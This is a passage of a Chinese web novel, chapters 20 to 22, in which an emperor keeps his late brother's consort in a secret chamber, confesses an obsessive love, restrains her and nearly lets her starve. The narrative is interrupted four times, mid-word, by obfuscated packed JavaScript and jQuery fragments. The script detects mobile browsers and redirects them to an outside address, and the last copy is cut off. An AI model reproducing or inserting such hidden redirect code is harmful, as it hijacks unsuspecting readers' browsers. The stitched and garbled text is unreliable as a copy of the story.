赵长昭静静望着她,面上是少有的安宁。他没说话,只将手中酒杯轻轻搁在一旁,靠着船舱的柱子坐下,像是怕惊扰了这曲中月夜。
一曲终了,舟中一片静寂。
赵长昭忽地起身,掀帘望向外头,道:“走罢,如今荷花看得正好,不去看看岂不辜负?”
胡玉烟一怔,“夜深了,还要划船?”
他回头一笑,眼里有少年时的狡黠,“不远,在前头一个湾子,那儿的花比别处开得都密。”
胡玉烟不再推辞,两人出了舱,赵长昭执桨,轻轻划向那藕花深处。
夜色更浓了些,月亮却也愈发明亮,照得湖面如泼银。船穿过一片片荷叶,叶上水珠摇摇欲坠,四周静极了,只听得水声轻响与花影摩挲之音。
“到了。”赵长昭低声说。
胡玉烟抬眼望去,果然是一片密密的花海。荷花盛放,香气浓郁,花影在水中层层叠叠,仿佛落入梦境。
赵长昭将桨收起,让船静静停在水中央。他坐回她身边,低声问:“可喜欢?”
胡玉烟点点头,忽觉此刻竟有些不真实。
赵长昭慢慢侧过头来,近得几乎能听到她的呼吸。
胡玉烟心头一颤,下意识后退,不敢去看他的眼。
不知何时,胡玉烟竟倚着船舷沉沉睡去,她的发鬓贴着肩头,眉眼间残着一丝倦意。赵长昭一直未动,靠在一旁默默看着她,指尖轻轻拂过她的衣袖,神情怔然。
月亮渐渐西斜,水面由银白转为黛青,天边的云霞泛起微微亮光。
直到天色微明,鸟声初啼,赵长昭才轻轻唤道:“玉烟……醒醒。”
胡玉烟迷迷
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389239|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
糊糊睁开眼,见他蹲在自己身侧,衣袍沾了夜露,眉眼间却带着一丝急意。
“天快亮了,我们得回去了。”他说着,一边将她扶起。
胡玉烟揉了揉眼,看了一眼远处微亮的天际,又看了一眼这水面花影与薄雾,不知怎的,竟有些不舍。
两人悄然无声地划着小舟,穿过藕花深处,绕过回廊水榭,最终趁着天光尚未大亮,悄悄回到了御书房。
赵长昭拿出钥匙插入暗格中轻转,暗门渐渐打开,他眨眨眼,示意胡玉烟进去。
胡玉烟望着那黑漆漆的门洞,忽然有些不愿,她压低了声音带着请求道:“再等等吧,现在还早,我再多陪你一会儿。”
赵长昭似是很受用,又转动了钥匙将门合上,回过身来在胡玉烟身侧坐下。
两人说着小话,一直到天光大亮,赵长昭当着她的面褪下黑色常服换上绣金龙袍。快要到上朝的时间了,胡玉烟叹了口气,正认命的准备回去,这时门外忽而传来了通报声。
“上官将军到——”
躲回去已经来不及了,二人皆是脸色一变,一时间慌张无比。没了法子,胡玉烟干脆蹲下身,钻到床底下。
床底阴暗逼仄,胡玉烟屏住呼吸,她只听得外头沉重的脚步声一步步逼近。
“启禀陛下,上官将军到。”
门“吱呀”一声被人推开,脚步停顿了片刻,随即传来一声含着讥诮的轻笑:“陛下倒是起得早,竟还未出御书房。”
赵长昭的声音随即响起,低低的,带着一丝压抑不住的颤意:“上官大人……一早求见,可是有事吩咐?”
“呵。”上官楚冷笑一声,“我知你和你哥哥不一样,你哥哥忤逆我,你没有这个胆子。”
赵长昭像是想解释,又像是不敢,声音支支吾吾:“大人之恩,昭……铭记于心。”
“铭记?”上官楚忽地拔高了声音,随即响起一声巴掌落在皮肉上的闷响。
床下的胡玉烟骤然一震,屏住的气差点倒灌入喉。赵长昭轻轻地闷哼了一声,竟没敢吭痛。
“你看看你现在这副窝囊样子。”上官楚咬牙切齿,“我让你当皇帝,是要你听话,不是叫你在这装腔作势!”
室内静了一瞬,赵长昭的声音低得几不可闻,几近委屈地哑着:“……不敢。”
上官楚顿了顿,忽而笑了一声,“不要想着耍花样,诏书给你带来了,早朝的时候颁下去。”
赵长昭脚步匆匆,走到书桌前坐下。屋内一时安静无话,胡玉烟只觉全身发凉,手脚冰冷。
她等了许久,终于等到了四起的脚步声,随着门吱呀一声关上,胡玉烟等了好一会儿,确定了上官楚已走,这才从床底下爬出。
她撑着床沿站起来,看见赵长昭还坐在桌前,一只手垂落在膝上,指尖在微微颤抖。
胡玉烟张了张口,喉咙里像被什么堵住了。她本想说点什么,却不知道从哪里开口。
赵长昭察觉到她的动作,回头朝她看了一眼,眉眼间依旧是那副温和的模样,他轻轻笑了一下,声音轻得像风吹过灯芯。
“吓着你了吧?”
没等胡玉烟回答,赵长昭便起身走到暗门前,伸手将那扇紧闭的门轻轻拉开,门发出一声低哑的咯吱。
赵长昭侧身站着望向她,声音却冷,脸上依旧是那温吞的笑,眼底却沉得像一口深井。
“进去吧。”他说。
胡玉烟看着他半晌,心头五味杂陈,她只是垂下眼帘,像往常那样,什么都没问什么都没说,一步步走进了那间没有窗、没有光的密室。
20. 枫叶(四)
赵长昭在御书房一直待到深夜。
案上的烛火燃尽,内侍匆匆换了新灯,却在他阴沉的目光中不敢多停,低头疾步退了出去。
他将椅子拖至案前,独自端坐,背脊笔直,目光一瞬不瞬地钉在对面的暗墙上。
那神情专注得近乎偏执,仿佛只要盯得够久,便能穿透厚重的屏障,看清墙后之人的一举一动。
不知不觉间,烛火再次熄灭,黑暗吞没了整个御书房。赵长昭依旧坐着,直到眼前一阵发昏,才终于起身,脚步极轻地走了出去。
几日之后,赵长昭再来看胡玉烟时,两人都默契地没提那天御书房发生的事。
他像往常一样带来了吃食,说了些旧事,又陪她坐了片刻。临走之时,赵长昭献宝似的从怀中掏出一个描金的木匣。
“你看看。”他说得漫不经心,语气却带着几分藏不住的期待。
胡玉烟打开一瞧,只见里面是一对描金嵌珠的耳环,式样雍容华贵。珠子硕大滚圆,在暗室中也熠熠生辉。
她一眼便认出,那耳环上所坠之物分明是只有皇后能享用的贡珠。
看着这耳环,胡玉烟立刻想到些不太好的回忆,指尖几乎要合上匣盖,却被赵长昭柔声打断。
“玉烟不喜欢吗?明明此物与玉烟最是相配。”
赵长昭声音低低的,眼神却分外专注,“来,我替玉烟戴上。”
胡玉烟惊得后退了半步,赵长昭的气息却贴到她身后。
指腹在她颈边微微扫过,带着一点令人发颤的热意。胡玉烟的心脏怦怦跳,终是僵直着身子任由赵长昭为她戴上。
“好看。”赵长昭轻轻地赞叹了一句,眼神落在她耳侧,又移至她眼里,唇角缓缓勾起。
“这是我让最好的工匠打造的,可比我当年自己做的那对耳环精致许多,玉烟可喜欢?”
他走近一步,双手想要伸向前又顿住,“这贡珠只给玉烟。”
胡玉烟慌忙低头,想行个礼掩饰情绪,却被他一手扶住了肩,“这是做什么?你我之间不必多礼。”
她抬起头,看进他眼中,却被对方的目光烫了一下。
赵长昭的眼神有一瞬间的闪烁,他似是心情大好,忙不迭地说了好多话。
胡玉烟扯出笑意回应,只当赵长昭是困于旧事,又受了上官楚的磋磨才赠这贡珠给她,聊做安慰。
等赵长昭走后,胡玉烟怔怔地立着,久久没有回过神。她颤着手将耳环摘下,又随手把玩起桌上干枯的荷花,终是烦了心,将两样东西都丢进了抽屉里。
后来的几天赵长昭依旧常来看她,可只坐一小会儿便离开,每次见她离开时,胡玉烟反而隐隐松了口气。
她心底总有一种说不出的别扭。
她不是不明白,赵长昭对自己怀着过分的依恋。可她自知身子早已残败,日日靠一口气吊着,仿佛风一吹就能散去。
她怕自己担不起这样的深情,更怕他把所有的执念都压在她这副摇摇欲坠的躯壳上。
天气一点点转凉,胡玉烟在这暗无天日的密室里待了快有一年,自那次游湖后,赵长昭再也没放她出去过。她仿佛失了心气,每日只等着赵长昭来,然后静静地听他讲话。
花养在不见光的幽室里总是要枯萎的,她自己的故事早已说尽了,就连赵长昭话里的许多东西她常常都要反应一会儿才能明白。
赵长昭似是看出了她的心不在焉,问道:“玉烟可要出去走走?”
胡玉烟怔了怔,她知赵长昭若是真的想带她出去就不会这么问一番,她缓缓摇了摇头,“不用了,我在这里很好。”
赵长昭笑了,又道:“那我常来陪玉烟说话。”
胡玉烟只勾起嘴角,朝他颔首。
赵长昭临走之时,胡玉烟攥住了他的衣袖,她面色极差,连话音都添了无力感,“长昭,现在春光正好,我无心力,你多替我看看吧。”
赵长昭脸上的浅笑变得僵硬,胡玉烟又道:“你何必……何必将心思都放在我身上?你的日子还长,总有一天能斗过上官楚,我……我不过一缕残魂。”
赵长昭一把握住她的手,一瞬间染上了哭腔,“玉烟怎么能说这样的话?”
他额头抵上她的手背,声音从胸腔里挤出来,“我日日夜夜都在想,总有一日会死在上官楚手里。朝堂上、殿宇中,每一步都是刀尖上走路,下一刻就会万劫不复。”
“可只要你在我身边,我就不怕。若不是你在,我早就撑不住了。”
赵长昭的声音渐渐低下去,连呼吸都在发抖。胡玉烟的心好像被什么扯了一下,她知这世间还有一人念她至此,她或许便不再是幽魂了。
接下来的一连数日,赵长昭每日都来看胡玉烟。不同于以往的沉默寡言,这些日子他似乎变了一个人,眼里带着熠熠的光。
他一进门就唤她的名字,声音里带着少年人难掩的雀跃,“玉烟,今日我来得早吧?”
胡玉烟端坐在榻上,手中缝着一件小小的绣囊,见他神情振奋,也不禁将针线缓缓收起。
赵长昭坐得离她很近,衣袍一拂,便带起些檀香气。他俯身靠近,声音压低,却难掩语调中的亢奋:“我安排了一场好戏,玉烟,我设下了一张局,一张很大的局。”
他说到这里时,眼中仿佛映着火光,“上官楚那个老贼,他不是一直以为自己操控着朝局、掌控着我吗?他以为我病着、怕他、听话……我忍不了了。”
胡玉烟怔怔看着他,心里升起一丝不安。他却像陷入某种炽热的幻象,自顾自说下去:“上官楚向我讨要吴王的府邸,我假意犹豫后应下,他一向爱那些沾着故人血汗的东西……呵,他定然会去。”
赵长昭顿了顿,嘴角扬起一个微妙的弧度,像是孩子藏了一颗糖,非要等到揭开给人看才甘心,“我已商议好了,等他入园……一杯好酒,一道好景,就该送他上路了。”
他说完这些,望向胡玉烟。
胡玉烟望着他那双盛满执念的眼睛,知道此事非同小可,心中忽而泛起一丝惧意,却也说不出反对的话来,只道:“陛下千万当心。”
赵长昭轻笑一声,好似沉浸在大仇得报的喜悦中,他握住她的手,急切道:“玉烟,你受过的苦,我都记得,要不了多久,我就带你去看上官楚的尸体,带你看上官一族满门抄斩的盛况。我还要废了上官氏,我要……”
他看了看胡玉烟,随即顿了顿,没有再说下去,然后突然表现的像一个被人抢走了糖果的孩子。他将头埋在胡玉烟膝上,缓了缓才传来一个沉闷的声音。
“玉烟不戴那对贡珠耳环,是不喜欢吗?”
胡玉烟抬手抚上他的额发,只默默道:“身在陋室,无心装扮。”
赵长昭接过话,又起了兴奋之色,“过不了多久,我就带你出去,我能保护你了,你再不用躲起来,你要堂堂正正站在我身边。”
胡玉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410523|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烟点点头,虽然赵长昭看不见她的动作。
又过了许久,赵长昭想到了什么,嗤笑一声,“上官氏怀孕了,等她生下皇子,上官楚就会杀了我,然后立太子为新帝。”
闻言胡玉烟的心跳漏了一拍,虽知上官楚篡位之心人尽皆知,可没想到这么快,赵长昭猛得抬起头,愤愤地道:“所以,我必须先下手为强。”
他握住胡玉烟的手,又猛得起身,焦躁地在屋中来回踱步,自顾自地解释道:“我从没碰过上官氏,她的孩子,是……和自己表哥得来的。”
胡玉烟眉间微蹙,她知上官楚对赵长昭的控制较之先帝有过之而无不及,却没想到上官家的人狼子野心到了这种程度。
她眼中尽是心疼,正想上前安慰。
忽然,赵长昭猛地转身,好似终于下定了决心,几步走到她面前,语气陡然激烈,咬牙切齿地道:“玉烟,我……”
“我喜欢你……从小就喜欢。”
突如其来的话令胡玉烟顿住脚步,她瞪大了眼,眉头拧做一团。
“什、什么?”
赵长昭说完这番话,忽而露出一个释然的笑,他上前扶住胡玉烟的肩,声音哑得厉害,“我一天天忍着、藏着,就怕你知道了会厌我、会躲我……可我做梦都想把你藏起来,只让我一个人看见。”
胡玉烟怔住了,她知赵长昭依赖她,却从未想过会从赵长昭口中听见这番话,这个昔日跟在自己身后唤她“阿嫂”的孩子居然对她存着这样的心思。
她的眼神缓缓变了,从震惊,到复杂,到痛惜。
“赵长昭,你疯了……”她轻声说着。
“我从来没有这么清醒过!”赵长昭带着笑意吼道:“我就是喜欢你!男女之间的那种喜欢,皇兄对你的那种喜欢!”
下一瞬,“啪”的一声清脆响起,她抬手,狠狠给了他一记耳光。
赵长昭身形一震,脸偏向一边。
胡玉烟咬着唇,声音发颤:“你知不知道你在说什么……你还记不记得你叫我阿嫂!”
赵长昭缓缓转过头,脸上火辣辣地疼,他用手背轻轻蹭了蹭面颊,嘴角轻轻弯了起来。
他没有怒、没有退,眼神却亮得惊人,“等我杀了上官楚,这世间便无人能阻止我们了。”
他的声音低沉,近乎虔诚,“玉烟,你和皇兄缘分已尽,可我们的日子还长。”
“疯子!疯子!疯子!”胡玉烟怔然,她屏住呼吸,怒目圆睁看着眼前人,身躯止不住发颤。
赵长昭好似全然不在意,强硬地将胡玉烟拥入怀中,胡玉烟的眼眶裹不住泪水,只能任由眼泪淌下来,她身形一顿,随后开始死命挣扎起来。
赵长昭下了力气制住她,贴着她耳边道:“玉烟,别怕。玉烟,别走。”
“我马上就能杀掉上官楚了,我能当一个真正的皇帝,天下都是我的,你要什么我都可以给你。”
胡玉烟察觉到自己的耳郭蹭到赵长昭的唇,她死命地推拒,一口咬在赵长昭肩上。
她使了全力挣脱,随后又是一耳光落在赵长昭脸上,这一次使了十成十的力气,她双目泛红,手掌也传来阵阵麻意。
赵长昭转过头,脸颊立刻肿了。
“你滚!”胡玉烟揪住赵长昭的领子,吼道:“你放我出去!你现在就放我出去!”
赵长昭红了眼眶,扣上她的手,一点点扯下,他双眼紧紧盯住她,然后缓缓摇了摇头。
21. 落英(一)
赵长昭微微颔首,后退了几步,密室的门打开,他抬步离开,又将门关上。
就在门将要闭合的刹那,胡玉烟猛地一颤,像是被抽掉最后一丝力气,却又骤然快步冲上前,双手死死扒住机关门,竟在狭窄的缝隙中硬生生冲了出来。
“玉烟!”
赵长昭猝然大惊,立刻将她牢牢圈进怀中。
胡玉烟像疯了一般拼命挣扎,指甲掐进他的手臂,一口狠狠咬在他手背上。赵长昭疼得冷汗直冒,却硬生生忍着,半分也不肯松开。
“玉烟,你冷静!冷静些!”他手忙脚乱,从未见过她这般失控。
胡玉烟却从鬓间拔下一支簪子,回身一下子扎进赵长昭的肩膀。
赵长昭发出一声闷哼,眼中是不可置信。
“我让你放开我!”簪子插得极深,鲜血自她手腕淌下,溅在地砖上,刺目灼眼。胡玉烟双目赤红,眼中满是愤恨,却又忍不住落下泪来。
“玉烟,我……”赵长昭喉咙发紧,心脏处传来一阵阵钝痛,他看着胡玉烟崩溃的面容手上力气渐松,哀求道:“玉烟,我就要杀了上官楚了,皇兄保护不了你,我可以,你为什么不愿意留在我身边呢?”
胡玉烟僵直在原地,扯出一个苦笑,她大口大口喘着粗气,身躯止不住地颤抖。
“赵长昭,我将你看作亲弟弟的。”她看着那发簪仍插在赵长昭肩头,插得极深,鲜血一股一股冒出,很快染红了半个肩膀。
赵长昭摇了摇头,“你要走,是不是?”
他眼神陡然凌厉起来,逼问道:“你知道我这些年一直在觊觎你,你害怕了,所以你要离开我是不是?你要我看着宫人折磨你,上官楚杀了你,是不是?你要丢下我是不是?”
“赵长昭!”胡玉烟泣声喊道:“明明是你在折磨我!你还记不记得,我是你嫂嫂!你口口声声说喜欢,可你究竟要将我置于何地!”
赵长昭抬手拂去脸上的泪水,他笑中带着泪,“我们明明才是最懂彼此的人!这宫中日子多难熬,我们都一步步挺过来了,你夫君已亡,我与上官氏从无夫妻之实……我们凭什么不能在一起?”
“我只想和你在一起,生生世世,不死不休……”
“我有错吗?”
赵长昭步步紧逼,笑容中带着颤抖。
胡玉烟泪如雨下,赵长昭的脸在眼前模糊又清晰。
“赵长昭,可是我不爱你。”她仿佛觉得这话还不够决绝,顿了顿,像要将话钉进他心口,“我不爱你,我永远都不会爱你。”
她叹息:“你放过我吧。”
赵长昭呆立原地,目光逐渐空茫,仿佛被人当胸剜去了一块心肉。
胡玉烟不敢再看他,只踉跄着后退一步。就在这时,赵长昭却猛地上前一步。她下意识以为他要再次将她困住,惊惶地抬手去挡,却只觉衣袖被轻轻一扯。
赵长昭低下头,唇瓣颤抖着吻在那被泪水浸透的袖角,又抬手轻轻抚去她脸颊上的泪痕。
“没关系……”他喃喃低语,嘴唇发着颤,“没关系,只要你能一直在我身边,你不爱我,也没关系。”
赵长昭的声音微不可闻,仿佛是说给自己听的,“只要我不放你走,你是不能离开我的,我总能留住你的。”
胡玉烟一瞬间只觉得他疯了,赵长昭那双几乎近乎癫狂的眼睛映在她眼底,像深不见底的井,将她整个人都一点点吞进去。
所有的一切都是她酿下的苦果。她眼睁睁看着自己孩儿、夫君走在自己前头,她明明早该死了,她不该留恋人间,她若随着那些旧人一并埋骨,便不会有今日的困局与纠缠。
胡玉烟的手指在袖下微微蜷起,指甲掐进掌心,隐隐作痛。
赵长昭缓缓在她面前跪下,神色里带着近乎崩溃的温顺,他额头抵在她膝上,声音低哑:“玉烟,别哭。”
“你不是世间残魂,你是我的一魂一魄,是我活下去的念想。”
“我们明明那么相似,都被命运弃之如敝屣,挣扎着活到如今,我们才最该在一起。”
“你就当可怜可怜我吧……”他语调几乎碎裂,“我真的快疯了。”
他伸手握住她的指尖,见那双手仍沾着血迹,便一点一点替她擦净,指腹小心翼翼地拂过,又在她掌心轻轻落下一个吻。
“玉烟……”
随着这声呼唤胡玉烟颤抖了一下,她低下头,眼睫覆下,泪光一闪一闪。她喉咙发紧,胸腔里翻涌起窒息的酸意。
“你、为什么,你为什么要这样?”
泪水顺着下颌一滴一滴落下,砸在地砖上,砸在赵长昭脸颊上。
赵长昭的额头抵在她手背,喉间的哽咽终于化作低低的啜泣。
胡玉烟觉得自己就要受不住,她只想逃,哪怕是让上官楚杀了她也好。她记得自己就要挣脱时下一秒却眼前一黑,被赵长昭打晕了过去。
恍惚间她听见赵长昭与她说他们来日方长,让她再等等……
等到再醒来人已经回了密室,胡玉烟十分恍惚,下一瞬又确信了诸事已成定局,他们再也回不去了。
接下来的几日,赵长昭未曾再来。
密室中幽冷静寂,四下的沉默像雾一般缠绕胡玉烟的心头,赵长昭说喜欢时的模样不断在她脑中回放。
她苦笑了一下,只是怔怔望着墙角,仿佛那里的阴影能解开她内心的困局。
她也说不清,自己究竟怕的是什么。
是他满眼的深情?是那份早已脱轨的感情?还是那个她曾以为最熟悉不过的人,忽然成了她眼前这牢笼的主人?
又有几次,她恍惚间看见了赵长曙,对方依旧是从前的温润模样,却冷着声音质问她“你与小叔有私情,你有悖人伦,你罪孽深重。”
她咬住唇,不让自己哭出声。
她开始信了,她为人长嫂,却与小叔纠缠不清,是她之大过。可后来又委屈,她明明半生克己守礼,世道如此,又与她何干?赵长曙为人磊落,又岂会斥责她?
后来实在烦了,那声音再出现时,她索性拿起一旁的胭脂盒掷去,闹出了些动静,果然再无人来扰她。
昏黄的晨光下,胡玉烟忽而怔住,鬓角不知何时生出几缕斑白,在乌黑发丝间格外刺眼。
她伸手去抚,忍着疼将白发一一扯下。镜中人容颜不改,只是脸上又淡不去的哀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432487|183354||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
愁。
一日过去,又一日过去,赵长昭一直没有出现。
胡玉烟觉得这样很好,两人相见也不过是徒增尴尬。
她缓缓阖上双眼,心思一寸寸沉下来,决心再见面时要与他好好谈一次,赵长昭若真能杀了上官楚,若真能夺下那至高之位,理当另娶一个家世清贵、年华正好的妻子。
他迟早会放下执念。
她可以去为先帝守灵,在青灯古佛旁了此残生。
可赵长昭就像消失了般,那不是他的性子,胡玉烟心知不对劲,可她只强迫自己镇定下来,也许是朝中有事,也许是赵长昭在筹谋暗局。
一连许多天,密室中的吃食就要耗尽,胡玉烟心中的担忧越来越重。
赵长昭要杀上官楚,莫不是……他出了什么事?
这个念头刚一冒出来,胡玉烟只觉胸口一紧,仿佛有人一掌重重拍在她心口。
密室里的油灯已经燃尽了,她再点不燃那点虚假的温暖,只能依靠那一线天光来分辨昼夜。
吃食是一月后断的。
她将最后一点米煮成稀粥,一口一口慢慢咽着,想要拖延饥饿降临的速度。
又过了两日,她实在受不住,饥饿像一头伏在她身上的兽,龇着牙轻轻喘着粗气,随时可能撕裂她的理智。
她靠在床角,额头汗湿,身体却发着冷。求生欲让她试过用力砸门,却没有回音,密室的门依旧沉默地守着外面的世界,像一个忠实的牢头。
她无力地倒在床上,盯着天花板,她知赵长昭若是还活着一定不会丢下她不管,所以……一定是赵长昭出事了。
她从没这样渴望过他的出现,从没这样惶恐他真的会永远不再出现。
时间一点点过去,胡玉烟逐渐意识到自己会就这样被困死在这里,骨头风干也不会被人寻见,先帝的淑妃胡玉烟早就死了,她只是一个被藏起来的影子,一个被皇帝掩在密室深处的旧梦。
她忽而又想到赵长曙,他说与她夫妻情缘已尽,黄泉路上自然是不会等她的。
是赵长昭强留她在人世,他或许真的爱她,可她怎么能接受呢?即便她的心绪混乱不堪,她又怎么能任由赵长昭拖她下地狱呢?
饥饿的感觉太难受,胡玉烟的眼角滑落一滴泪。
门终于在一片死寂中被推开了,一缕亮光透进密室,光亮不甚刺眼,像天色未明时的一线微曦。
她怔怔地抬头,眼眶霎时酸痛。
赵长昭步伐虚浮,跌跌撞撞地朝她跑来。
“玉烟、玉烟……”他的声音嘶哑得不像话,赶紧将她从床上扶起。胡玉烟无力地倚靠在他怀里,泪水毫无预兆地涌了出来,模糊了眼前的光影。
胡玉烟双眼迷蒙,长久的饥饿令她精神恍惚,她死死拽住赵长昭的衣角,从喉咙里发出无意义的低吼。
“你去哪了?”她嗓音低哑,带着哭腔。
赵长昭像是被刺了一下,他伏低身子,连忙从食盒中拿出一碗温水,颤着手喂到胡玉烟嘴边,“对不起,我被公务绊住了……”
胡玉烟脑中渐渐渐渐清明,赵长昭的狼狈和憔悴她都尽收眼底,不安感顿时充斥了全身。
22. 落英(二)
赵长昭赶紧又取了水送到胡玉烟嘴边。
胡玉烟大口饮下水,看着赵长昭的目光多了几分不可置信。
“发生了什么事?”她双手紧握着水碗,想从赵长昭的表情上读出些什么,究竟发生了什么让赵长昭消失了一月有余,险些将她活活困死在这里。
赵长昭脸色苍白,连嘴唇也失了血色,他递给她吃食,嘴上不停地说着抱歉。
“对不起,我被公务耽搁了,让你受苦了。”
胡玉烟的眸光黯淡下去,她拿过赵长昭递来的盛满粥的碗狼吞虎咽地吃了起来,拼了命想缓解腹中的饥饿。
一碗粥很快见了底,胡玉烟还想再盛第二碗,赵长昭却阻止,他红着眼眶道:“玉烟连日饥饿,一次饮食过量,恐会伤及脾胃。”
胡玉烟皱着眉将碗放下。她抿紧了唇,一时间悲愤交加,她揪住赵长昭的衣袖,又问:“上官楚呢?是不是出了什么事?”
赵长昭摇摇头,眼中多了几分祈求,胡玉烟这才注意到他眼底有许多青影。
“计划出了些纰漏,我暂时还动不了他,不过没有关系,我们可以从长计议。”
他说得诚恳,胡玉烟却是有些不信,赵长昭一月不曾现身,险些让她困死在这密室中,一定是出了什么问题。
赵长昭起身收拾着碗筷,柔声道:“玉烟先睡会儿吧,我还吩咐御膳房做了好些吃食,玉烟醒来后再用些。”
胡玉烟盯着他,眼中有几分戒备。赵长昭好似没看见,嘴角始终含着笑意,扶着她躺下,又替她掖了掖被角,又带着几分急切转身离去。
胡玉烟的双目始终含着怒意,她胸口憋着一口气,将锦被蒙住头,想寻求一丝安全感,却怀疑自己是不是快疯了。
“赵长昭!”
赵长昭走到门口,身后忽然传来呼唤,他的脚步顿住。
见胡玉烟却没有多言,片刻后,赵长昭笔挺的脊背弯了一些,他柔声道:“我出去一趟,很快便回来,我保证。”
胡玉烟瞪大了眼,死死盯住门口那抹身影,眼见着门开了又合上,赵长昭独自走了出去,将她留在了原地。
被褥下手指骤然收紧,很快又释然地松了力道。胡玉烟不知自己什么时候睡着的,等她再睁眼时,赵长昭正坐在凳上,含着笑看着她。
胡玉烟一瞬间觉得头皮发麻,连忙坐起来理了理衣襟。
桌上已布好了饭菜,赵长昭递来一盏茶水,胡玉烟不接,他又放在桌上,“玉烟醒得正是时候,我吩咐膳房做了好些你喜欢的菜。”
“这些日子让你受苦了,都是我的错。”
胡玉烟看着满桌佳肴,多日以来萦绕在身的饥饿感快要将她逼疯,她并不与自己过不去,立刻大快朵颐起来。
赵长昭坐在一旁,带着笑意看着她用膳。
他并未起身离去的打算,直到胡玉烟放下碗筷,拿丝帕擦了擦嘴角,他仍安静地坐在原位。
胡玉烟在屋内焦躁地来回踱步,捏着衣角的指尖开始泛白,她闭了闭眼,强压心中翻涌,忽而轻笑一声,笑中带着颤意。
“是不是……是不是出什么事了?”
她扑上前,晃着赵长昭的肩,“你要刺杀上官楚,是不是出什么事了?”
赵长昭盯住她,任由任由她晃着,眼中是极深极重的悲意。
“你说啊,到底怎么了?”胡玉烟拧着眉,话中尽是哀怨。
赵长昭眼中起了雾,他缓缓伸出手,像是想抚上她的脸,却又在将要触碰到的那一刻,顿住了。
“玉烟……”他声音极轻,低得像是要融进地里,“我……”
“对不起……”赵长昭喃喃念出,喉咙发紧,“是我没用,我高估了自己。”
赵长昭忽然跪坐在地,抱住自己的头,像个犯了错的孩子一样,声音终于绷断成哭腔。
他终于忍不住,低低哭了出来,压抑的呜咽随着肩膀一起颤动,溢满整个密室。
胡玉烟怔怔看着他,脑中一片空白,她闭着眼,泪水也终于滚了下来。
看着面前泣不成声的人,胡玉烟僵直着身子默默注视着他,直到赵长昭的哭声渐渐止住。
“你放我出去,我要离开。”胡玉烟的声音冰冷。
赵长昭闻言扬起头,脸上是未净的泪水,他双眉拧成一团,却忽而扬起一抹诡异的笑容。
“离开?”他低声喃喃,声音嘶哑发颤,带着令人窒息的执拗,“玉烟,你要离开我去哪里?去投奔谁?谁还能护得住你?我哥哥已经死了!”
“上官楚会杀了你,他会杀了你,你知不知道!”他的声音一下一下撞在她心口,像钉子钉入木板,“你走了,我就真的只剩下黑暗了。玉烟,你若要走,不如一刀杀了我,我死在你手里也好过被丢下。”
他忽而扑上前,死死抱住胡玉烟的腰,力道大得近乎要将她揉进骨血里。他将脸埋在她怀中,哭过后的呼吸灼热而凌乱,带着压抑已久的疯癫,“我不会放手的,你休想。”
胡玉烟心头又惶恐又悲凉,赵长昭却缓缓抬起头,眼神阴沉而疯狂,带着泪光的眸子却像深潭一样,拖人往下坠。
“你逃不掉的。”他低低笑着,笑声仿佛从喉咙深处磨出来的锈铁,“就算你恨我,骂我,打我,我都认了。可你永远走不出这扇门,你要一直在我身边,除非我死了。”
胡玉烟本做好了和赵长昭大吵一架的准备,如今却被赵长昭这副陌生模样吓得僵在原地。
胡玉烟盯住他,赵长昭直直迎上了那目光,胡玉烟从胸腔呼出一口气,坐直了身子,正声道:“跪下!”
赵长昭身子微颤,唇角的笑意淡去片刻,但最终还是默默起身,缓缓屈膝跪在她面前。
“你叫我什么?”她问。
“玉烟。”
“你叫我什么?”她又问。
赵长昭沉默片刻方言:“阿嫂。”
胡玉烟端坐着,目光冷冽,“你既叫我阿嫂,我也认你这个小叔,来日我们一同去先帝陵前祭拜,我也要站在你身前半步的。”
赵长昭摇摇头,“皇兄在世时赶玉烟去冷宫,算是夫妻情缘已断,如今小叔爱慕寡嫂,长昭问心无愧。”
胡玉烟重重地闭了闭眼,几近怒斥,“你敢当着你哥哥的灵牌说这番话吗!”
赵长昭神情一滞,就着跪地的动作忽而朝她重重磕了一个响头,缓缓道:“长昭自知时日无多,一片真心剖白于玉烟,玉烟不肯收,昭无二话。”
“可从今后……你我叔嫂之情,该当断绝。”
胡玉烟胸口起伏不定,她静静望着眼前的赵长昭,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 